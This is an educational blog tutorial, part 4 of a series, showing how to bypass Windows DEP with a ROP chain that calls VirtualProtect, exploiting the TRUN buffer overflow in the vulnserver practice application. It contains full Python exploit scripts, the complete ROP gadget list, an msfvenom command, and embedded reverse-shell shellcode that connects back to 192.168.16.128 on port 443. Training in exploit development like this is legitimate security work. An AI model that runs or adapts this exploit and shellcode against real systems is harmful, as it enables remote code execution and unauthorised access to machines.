Windows User Mode Exploit Development: Data Execution Prevention (DEP) Part 4
Please complete Windows User Mode Exploit Development Part 1, Windows User Mode Exploit Development SEH Part 2 and Windows User Mode Exploit Development Egghunter Part 3 before continuing so everything makes sense as some things will not be explained again :).
Please note, to understand exploit development thoroughly and adequately, you must have a strong understanding of both x86 (x32 bit) and x86_64 (x64 bit) assembly. Learning reverse engineering is one of the best ways to understand how things work, and it will help you when you’re stuck and want to debug. Debugging is very important. Without knowing reverse engineering/assembly, you may not get very far in exploit development.
Another thing to understand is, you should enjoy and love what you are doing or else I don’t see a point. Nowadays, everyone is 1337 web hacker, but not everyone is an expert reverse engineer or exploit developer.
What is a Buffer Overflow?
A buffer overflow is when an application attempts to write more data in a buffer than expected or when an application attempts to write more data in a memory area past a buffer. A buffer is a sequential section of memory that is allocated to contain anything from strings to integers. Going past the memory area of the allocated block can crash the program, corrupt data and even execute malicious code.
What is Data Execution Prevention (DEP)
Data Execution Prevention (DEP) is a memory protection mechanism that prevents code from being executed in areas of memory used to store data such as the stack and heap. Data Execution Prevention (DEP) marks the pages of memory as non-executable (NX), preventing shellcode from being executed on the stack.
Return Oriented Programming (ROP)
Since we can’t just drop shellcode on the stack like we usually do for a classic buffer overflow without any memory protection, we need to use something called Return Oriented Programming.
Return Oriented Programming is a technique used in exploit development to counter-memory protections such as Data Execution Prevention (DEP) by chaining together existing sequence of instructions or snippets of code within the program called gadgets, usually followed by a RETN
. The RETN
instruction will POP the return address from the stack back into the EIP register and redirect execution flow. We can use these instructions to return to another region in memory, rather than the intended area in memory, to execute a function or code of our choice, that makes the stack executable (VirtualProtect()
).
When a function is called the caller places the arguments of the function on the stack then places the returns address on the stack (the next instruction to be executed right after the function is called). When a function has finished performing the intended tasks, it will call the RET
instruction, which POPs the return address back into the EIP register to resume execution flow. We can hijack the execution flow to return to an existing function. In Linux, this function could be system()
with the arguments /bin/sh
(ret2system
), which pops a shell or mprotect()
(ret2mprotect)
, which makes the stack executable. However, in Windows we have functions such as VirtulAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()
etc…
To conclude; A gadget is an existing sequence of assembly instructions or snippets of code within the program and using, multiple gadgets make up an ROP chain. For example, we will be using an existing Windows API function called VirtualProtect()
to make stack from non-executable to executable, so we can place our shellcode on the stack and have it executed.
An example of a gadget was POP POP RET from the Windows User Mode Exploit Development SEH Part 2 blog series.
Different Types of ROP gadgets
The following Windows API function can be used to bypass DEP on many version of Windows:
VirtualProtect()
We will be using VirtualProtect to make the stack executable then drop our shellcode on the stack to gain a reverse shell.
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
Parameters
lpAddress
A pointer an address that describes the starting page of the region of pages whose access protection attributes are to be changed.
All pages in the specified region must be within the same reserved region allocated when calling the VirtualAlloc or VirtualAllocEx function using MEM_RESERVE. The pages cannot span adjacent reserved regions that were allocated by separate calls to VirtualAlloc or VirtualAllocEx using MEM_RESERVE.
dwSize
The size of the region whose access protection attributes are to be changed, in bytes. The region of affected pages includes all pages containing one or more bytes in the range from the lpAddress parameter to (lpAddress+dwSize). This means that a 2-byte range straddling a page boundary causes the protection attributes of both pages to be changed.
flNewProtect
The memory protection option. This parameter can be one of the memory protection constants.
For mapped views, this value must be compatible with the access protection specified when the view was mapped (see MapViewOfFile, MapViewOfFileEx, and MapViewOfFileExNuma).
lpflOldProtect
A pointer to a variable that receives the previous access protection value of the first page in the specified region of pages. If this parameter is NULL or does not point to a valid variable, the function fails.
Practical
Firstly, we will have to make sure DEP is turned on for all programs and services.
Controlling EIP
As I explained in the Windows User Mode Exploit Development Part 1
To control EIP, we need to find at which offset the EIP register is overwritten. We can use Metasploit’s pattern create to create a pattern of 3000 bytes and then locating the offset. Since the crash, a 3000 byte buffer crashes the program.
If you remember, we can now locate the offset, which is at 2003. This means that after 2003 bytes the EIP register the overwritten.
Here is the exploit:
import socket
# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999
payload = "A" * 2003
payload += "B" * 4
payload += "C" * (3000- len(payload))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
s.recv(1024)
print("[+] Sending exploit!")
s.send("TRUN /.:/" + payload)
print("[+] Evil buffer sent...")
s.close()
except:
print("[-] Could not connect to server!")
Locating Space for Your Shellcode
As shown in the previous screenshot, we can see that our ESP register point towards our C’s, which is more than enough space for our shellcode. A standard reverse shell takes anywhere between 350 to 400 bytes of space.
Checking for Bad Characters
As I explained in part 1:
Depending on the application, vulnerability type and protocols in use, there may be certain characters that can truncate our buffer, which are considered to be bad chars.
An example of a very common bad character (especially in buffer overflows caused by unchecked string copy operations) is the null byte (0x00).
0x00 is considered a bad because a null byte is also used to terminate a string copy operation, which would effectively truncate our buffer to wherever the first null byte appears.
The reason we want to get rid of bad chars is that when we generate our reverse shell using msfvenom we can luckily say which char is a bad one and msfvenom will get rid of it.
We can use mona to generate a byte array from 00 to FF and send this payload in our exploit instead of our C’s. To demonstrate how the buffer is truncated I will include the bad char \x00
Now, let’s remove \x00 and test for any other bad characters, this process can take sometime depending on the how many bad characters there are, trial and error is the only way as far as I’m aware.
As you can see, there are no more bad chars other than \x00
.
import socket
# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = "A" * 2003
payload += "B" * 4
payload += badchars
payload += "C" * (3000- len(payload))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
s.recv(1024)
print("[+] Sending exploit!")
s.send("TRUN /.:/" + payload)
print("[+] Evil buffer sent...")
s.close()
except:
print("[-] Could not connect to server!")
Redirecting Execution Flow
As explained in part 1:
So we control the EIP register and have identified the bad characters, we can also see that ESP points to our C’s which is where we can place our shellcode for a reverse shell.
The best thing to do would be to try and replace the B’s that overwrite EIP with the address that pops up in the ESP register at the time of the crash. However, the value in the ESP register changes from crash to crash. This is why we can not hardcode the value.
The best way to go about this is to locate a reliable address in memory that contains an instruction such as JMP ESP. Then we can jump to it and end up at the address pointed to by the ESP register; the cool thing is we have mona.py which is an immunity debugger script to find this address for us.
We need to search for a module which meets the following criteria:
- Has no memory protections such as DEP or ASLR
- Does not have any bad characters.
Let’s run !mona modules
We can instantly see there is a module that meets our criteria which is essfunc.dll. We also have vulnserver.exe but it is loaded at a very low address values, starting with 0x00, so any reference to addresses within vulnserver.exe will require a null byte, and that won’t work because ‘\x00’ is a bad character.
!mona find -s "\xff\xe4" -m essfunc.dll
We can see that there are many occurrences of JMP ESP. However, we will just take the first one 0x625011AF
Let’s test this JMP ESP after placing a breakpoint on 0x625011AF
.
As you can see we hit our breakpoint, let’s press F7 to take the jump.
Well, guess what? Unlike part 1 we get an error Access violation when executing...
This is because DEP is enabled and we tried to jump to a location on the stack to execute some instructions. This means we won’t be able to place shellcode on the stack and execute it as the stack is marked non-executable.
A closer look at the error.
So, what do we do?
Enter Return Oriented Programming (ROP)
Initially, we’d have to locate a JMP ESP and use its address to overwrite EIP. This would allow EIP to execute JMP ESP and execute our shellcode on the stack. However, due to DEP, we won’t be able to execute shellcode on the stack as it is marked non-executable. To bypass this, we have to use return-oriented programming (ROP).
In return-oriented programming, we find useful little snippets/pieces of code, called gadgets
with just a few machine language instructions followed by a RETN
, and chain (ROP chain) them together to perform something useful.
We can use existing Windows API functions to turn off DEP, or to allocate a region of memory with DEP turned off. We can use any of the following functions:
VirtulAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()
We will be using VirtualProtect().
The process of chaining together these gadgets (machine language code) can still be very complicated. But, thanks to the authors of Mona, it makes this a lot easier.
ROP Chain
To build a ROP chain using Mona we can use the following command:
!mona rop -m *.dll -cp nonull
This will go through all the DLL with and generate chains of useful gadgets. Please note that this will take a few minutes. When the process is finished, you can click View -> Log
.
For 32 bit system, the rop_chains.txt
file is located in the following path:
C:\Program Files\Immunity Inc\Immunity Debugger
The x86 assembly code shows that the registers and stack are being set up to call the Windows API function, VirtualProtect(). More information can be found on MSDN.
################################################################################
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------
Here is the Python code Mona generated for us. Let’s use this in our exploit
*** [ Python ] ***
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76a172f0, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x7521fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x76e7c5ba, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x625011af, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x76a342f9, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x768a1643, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x7521f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x7527ea50, # POP EAX # RETN [MSCTF.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x76963193, # NEG EAX # RETN [user32.dll] ** REBASED ** ASLR
0x74fa1110, # XCHG EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x7689fb57, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75285e78, # &Writable location [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76df7643, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x768a1645, # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x758b9b4c, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x758ec2a0, # PUSHAD # RETN [kernel32.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
We need to modify the exploit to overwrite EIP with our ROP chain rather than the JMP ESP instruction and replace the C’s with \xcc
(breakpoint) which will allow us to hit a breakpoint right after executing our ROP chain.
import socket
import struct
# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76a172f0, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x7521fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x76e7c5ba, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x625011af, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x76a342f9, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x768a1643, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x7521f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x7527ea50, # POP EAX # RETN [MSCTF.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x76963193, # NEG EAX # RETN [user32.dll] ** REBASED ** ASLR
0x74fa1110, # XCHG EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x7689fb57, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75285e78, # &Writable location [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76df7643, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x768a1645, # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x758b9b4c, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x758ec2a0, # PUSHAD # RETN [kernel32.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
#JMP ESP 0x625011AF: \xAF\x11\x50\x62
payload = "A" * 2003
payload += rop_chain
payload += "\xcc" * (3000- len(payload))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
s.recv(1024)
print("[+] Sending exploit!")
s.send("TRUN /.:/" + payload)
print("[+] Evil buffer sent...")
s.close()
except:
print("[-] Could not connect to server!")
After modifying and sending the exploit, we hit our breakpoint after a series of \x90’s (NOPs), which means it worked :) We execute the breakpoint that was placed on the stack. We made the stack executable!
You can place anything after the ROP chain, such as \xcc
, which is a breakpoint or \x90's
or even your shellcode.
To generate a reverse shell, you can use the following:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.16.128 LPORT=443 EXITFUNC=thread -b '\x00' -f c
or
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.16.128 LPORT=443 EXITFUNC=thread -b '\x00' -f c
Final exploit
Here is the final exploit to pop a reverse shell. I added some memN0ps ;) before and after the shellcode. The ROP chain takes the place of our JMP ESP, we no longer require the JMP ESP
import socket
import struct
#author memN0ps
# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.16.128 LPORT=443 EXITFUNC=thread -b '\x00' -f c
shellcode = ("\xbe\x4a\xef\xc7\xc3\xd9\xc8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x52\x31\x72\x12\x03\x72\x12\x83\xa0\x13\x25\x36\xc8\x04\x28"
"\xb9\x30\xd5\x4d\x33\xd5\xe4\x4d\x27\x9e\x57\x7e\x23\xf2\x5b"
"\xf5\x61\xe6\xe8\x7b\xae\x09\x58\x31\x88\x24\x59\x6a\xe8\x27"
"\xd9\x71\x3d\x87\xe0\xb9\x30\xc6\x25\xa7\xb9\x9a\xfe\xa3\x6c"
"\x0a\x8a\xfe\xac\xa1\xc0\xef\xb4\x56\x90\x0e\x94\xc9\xaa\x48"
"\x36\xe8\x7f\xe1\x7f\xf2\x9c\xcc\x36\x89\x57\xba\xc8\x5b\xa6"
"\x43\x66\xa2\x06\xb6\x76\xe3\xa1\x29\x0d\x1d\xd2\xd4\x16\xda"
"\xa8\x02\x92\xf8\x0b\xc0\x04\x24\xad\x05\xd2\xaf\xa1\xe2\x90"
"\xf7\xa5\xf5\x75\x8c\xd2\x7e\x78\x42\x53\xc4\x5f\x46\x3f\x9e"
"\xfe\xdf\xe5\x71\xfe\x3f\x46\x2d\x5a\x34\x6b\x3a\xd7\x17\xe4"
"\x8f\xda\xa7\xf4\x87\x6d\xd4\xc6\x08\xc6\x72\x6b\xc0\xc0\x85"
"\x8c\xfb\xb5\x19\x73\x04\xc6\x30\xb0\x50\x96\x2a\x11\xd9\x7d"
"\xaa\x9e\x0c\xd1\xfa\x30\xff\x92\xaa\xf0\xaf\x7a\xa0\xfe\x90"
"\x9b\xcb\xd4\xb8\x36\x36\xbf\x06\x6e\x28\xbf\xef\x6d\x48\xbe"
"\x54\xf8\xae\xaa\xba\xad\x79\x43\x22\xf4\xf1\xf2\xab\x22\x7c"
"\x34\x27\xc1\x81\xfb\xc0\xac\x91\x6c\x21\xfb\xcb\x3b\x3e\xd1"
"\x63\xa7\xad\xbe\x73\xae\xcd\x68\x24\xe7\x20\x61\xa0\x15\x1a"
"\xdb\xd6\xe7\xfa\x24\x52\x3c\x3f\xaa\x5b\xb1\x7b\x88\x4b\x0f"
"\x83\x94\x3f\xdf\xd2\x42\xe9\x99\x8c\x24\x43\x70\x62\xef\x03"
"\x05\x48\x30\x55\x0a\x85\xc6\xb9\xbb\x70\x9f\xc6\x74\x15\x17"
"\xbf\x68\x85\xd8\x6a\x29\xa5\x3a\xbe\x44\x4e\xe3\x2b\xe5\x13"
"\x14\x86\x2a\x2a\x97\x22\xd3\xc9\x87\x47\xd6\x96\x0f\xb4\xaa"
"\x87\xe5\xba\x19\xa7\x2f")
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76a172f0, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x7521fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x76e7c5ba, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x625011af, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x76a342f9, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x768a1643, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x7521f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x7527ea50, # POP EAX # RETN [MSCTF.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x76963193, # NEG EAX # RETN [user32.dll] ** REBASED ** ASLR
0x74fa1110, # XCHG EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x7689fb57, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75285e78, # &Writable location [MSCTF.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76df7643, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x768a1645, # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x758b9b4c, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x758ec2a0, # PUSHAD # RETN [kernel32.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
#JMP ESP 0x625011AF: \xAF\x11\x50\x62 (not required anymore)
memn0ps = "\x90"
payload = "A" * 2003
payload += rop_chain
payload += memn0ps * 20
payload += shellcode
payload += memn0ps * 20
payload += "C" * (3000- len(payload))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
s.recv(1024)
print("[+] Sending exploit!")
s.send("TRUN /.:/" + payload)
print("[+] Evil buffer sent...")
s.close()
except:
print("[-] Could not connect to server!")
W00TW00T we have a reverse shell. DEP was successfully bypassed! :D
I hope you enjoyed reading and I hope this helps. This was a good revision for me, and I finally found the time to write up something quickly.
Usually, when I learn something like this, I go and write about it 1 or 2 years later for some good revisions and contribution back to the community. Even if it is small, it is better than nothing :)
References
- https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
- https://fuzzysecurity.com/tutorials/expDev/7.html
- https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
- https://h0mbre.github.io/Creating_Win32_ROP_Chains/#
- https://samsclass.info/127/proj/p11-rop.htm
- https://sh3llc0d3r.com/
- https://github.com/stephenbradshaw/vulnserver
- https://cwinfosec.github.io/Intro-ROP-DEP-Bypass/
- https://www.offensive-security.com/